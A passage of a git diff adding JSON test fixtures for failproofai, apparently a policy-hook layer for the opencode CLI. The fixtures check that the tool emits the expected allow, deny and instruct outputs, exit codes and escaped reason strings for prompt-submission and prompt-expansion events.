&a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..73263bbf --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..b4262149 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-present__one-policy.json new file mode 100644 index 00000000..05a40395 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "instruct__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-present__two-policies.json new file mode 100644 index 00000000..aaeda923 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptExpansion/instruct__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "instruct__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptExpansion", + "input": { + "event_type": "UserPromptExpansion", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptExpansion", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptExpansion", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptExpansion\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-absent__one-policy.json new file mode 100644 index 00000000..68cfce4d --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "allow-silent__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-absent__two-policies.json new file mode 100644 index 00000000..e560e94e --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "allow-silent__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-present__one-policy.json new file mode 100644 index 00000000..1488d9e9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "allow-silent__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-present__two-policies.json new file mode 100644 index 00000000..fedbae49 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-silent__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "allow-silent__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-silent", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": null + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": null + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": null, + "policyNames": null, + "reason": null, + "stderr": "", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json new file mode 100644 index 00000000..6e40afc2 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "allow-with-reason__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json new file mode 100644 index 00000000..53267982 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "allow-with-reason__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json new file mode 100644 index 00000000..940101a5 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-present__one-policy.json @@ -0,0 +1,49 @@ +{ + "case": "allow-with-reason__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json new file mode 100644 index 00000000..462b93b9 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/allow-with-reason__tool-present__two-policies.json @@ -0,0 +1,55 @@ +{ + "case": "allow-with-reason__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "allow-with-reason", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "allow", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "allow", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "allow", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "[failproofai] parity/policy-1: parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\n[failproofai] parity/policy-2: parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend\n", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Note from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\\nparity reason 2: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-absent__one-policy.json new file mode 100644 index 00000000..6675b639 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-absent__one-policy.json @@ -0,0 +1,43 @@ +{ + "case": "deny__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-absent__two-policies.json new file mode 100644 index 00000000..edaeb24c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-absent__two-policies.json @@ -0,0 +1,48 @@ +{ + "case": "deny__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-present__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-present__one-policy.json new file mode 100644 index 00000000..3ba4a8c7 --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-present__one-policy.json @@ -0,0 +1,47 @@ +{ + "case": "deny__tool-present__one-policy", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 1, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-present__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-present__two-policies.json new file mode 100644 index 00000000..e4312e8b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/deny__tool-present__two-policies.json @@ -0,0 +1,52 @@ +{ + "case": "deny__tool-present__two-policies", + "cli": "opencode", + "decision_kind": "deny", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "tool_input": { + "command": "git status --short" + }, + "tool_name": "Bash", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "deny", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "deny", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "deny", + "exitCode": 2, + "policyName": "parity/policy-1", + "policyNames": null, + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stdout": "" + }, + "policy_count": 2, + "tool": "tool-present" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-absent__one-policy.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-absent__one-policy.json new file mode 100644 index 00000000..e17c163c --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-absent__one-policy.json @@ -0,0 +1,45 @@ +{ + "case": "instruct__tool-absent__one-policy", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 1: \\\"q\\\" \\\\ /s/ &a\\né𝄞\\tend\"}}" + }, + "policy_count": 1, + "tool": "tool-absent" +} diff --git a/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-absent__two-policies.json b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-absent__two-policies.json new file mode 100644 index 00000000..dd59f08b --- /dev/null +++ b/__tests__/parity/fixtures/opencode/UserPromptSubmit/instruct__tool-absent__two-policies.json @@ -0,0 +1,51 @@ +{ + "case": "instruct__tool-absent__two-policies", + "cli": "opencode", + "decision_kind": "instruct", + "event": "UserPromptSubmit", + "input": { + "event_type": "UserPromptSubmit", + "payload": { + "cwd": "/home/u/project", + "hook_event_name": "UserPromptSubmit", + "session_id": "sess-fixture-1", + "transcript_path": "/home/u/project/.fixture/transcript.jsonl" + }, + "policies": [ + { + "decision": "instruct", + "name": "parity/policy-1", + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend" + }, + { + "decision": "instruct", + "name": "parity/policy-2", + "reason": "parity reason 2: \"q\" \\ /s/ &a\né𝄞\tend" + } + ], + "session": { + "cli": "opencode", + "cwd": "/home/u/project", + "home": "/home/u", + "hookEventName": "UserPromptSubmit", + "permissionMode": "default", + "projectDir": "/home/u/project", + "sessionId": "sess-fixture-1", + "transcriptPath": "/home/u/project/.fixture/transcript.jsonl" + } + }, + "output": { + "decision": "instruct", + "exitCode": 0, + "policyName": "parity/policy-1", + "policyNames": [ + "parity/policy-1", + "parity/policy-2" + ], + "reason": "parity reason 1: \"q\" \\ /s/ &a\né𝄞\tend\nparity reason 2: \"q\" \\ /s/ &a\né𝄞\tend", + "stderr": "", + "stdout": "{\"hookSpecificOutput\":{\"hookEventName\":\"UserPromptSubmit\",\"additionalContext\":\"Instruction from failproofai: parity reason 